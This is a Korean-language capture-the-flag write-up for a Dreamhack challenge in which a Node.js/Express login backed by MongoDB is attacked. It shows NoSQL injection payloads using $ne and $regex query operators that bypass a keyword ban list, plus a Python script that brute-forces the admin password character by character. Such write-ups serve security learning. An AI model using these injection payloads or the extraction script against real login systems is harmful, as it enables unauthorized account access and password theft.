• 핵심 구조 요약

    • 요청 주소: /login?uid=??&upw=??
      • 먼저, uid랑 upw 값이 금지 단어 포함되었는지 확인
      • 통과되면 MongoDB에서 uid, upw가 일치하는 유저를 찾음
      • 찾으면 uid를 출력함 (admin이면 flag가 유추 가능함)
  • 제한조건

    • const BAN = ['admin', 'dh', 'admi'];

      if(filter(req.query)){
          res.send('filter');
          return;
      } //요청 값 안에 admin, dh, admi 중 하나라도 들어있으면 로그인 시도 자체를 막음
      
  • 공격

    • MongoDB의 문법 활용: /login?uid[$ne]=guest&upw[$ne]=guest → uid와 upw가 guest가 아니면 admin일 가능성이 있음
    • 정규표현식으로 우회: /login?uid[$regex]=^a&upw[$ne]=1 → upw가 1이 아닌 것 중에 a로 시작하는 uid
      • 반드시 인코딩해서 URL에 넣어야 함.
        • Node.js + Express는 qs 또는 querystring 모듈을 내부적으로 사용해서 Query를 이렇게 해석함
          • 인코딩되어 있으면: uid[$regex] → { uid: { $regex: ... } }
          • 인코딩 안 되어 있으면: uid[$regex]는 그냥 문자열 key로 봄
    • 이제 upw는 화면에 출력이 안되므로, 형식(DH{32자})를 알고 있으니 쿼리를 하나하나해서 다 찾아도 좋지만, 자동화 스크립트를 작성해서 실행하게 되면 upw를 찾을 수 있다.
    import requests
    import urllib.parse
    import string
    
    url = '<http://host3.dreamhack.games:11816/login>'
    
    charset = string.ascii_letters + string.digits
    
    known = 'D.\\\\{'  # 필터 우회용 시작 문자열
    
    while True:
        for c in charset:
            guess = known + c           # D.{a, D.{b, ...
            regex = f'^{known + c}' # URL 인코딩
    
            params = {
                'uid[$regex]': '^adm',
                'upw[$regex]': regex
            }
    
            res = requests.get(url, params=params)
    
            if "admin" in res.text:
                known += c
                print(f'[+] Found: {known}')
                break
        else:
            print('[!] 종료 조건 도달 또는 못 찾음')
            break
    
  • 이렇게 brute.py를 만들고 나서 cmd 창에서 실행하게 되면 }를 제외한 32자리 flag를 획득할 수 있다.

    스크린샷 2025-04-19 232116.png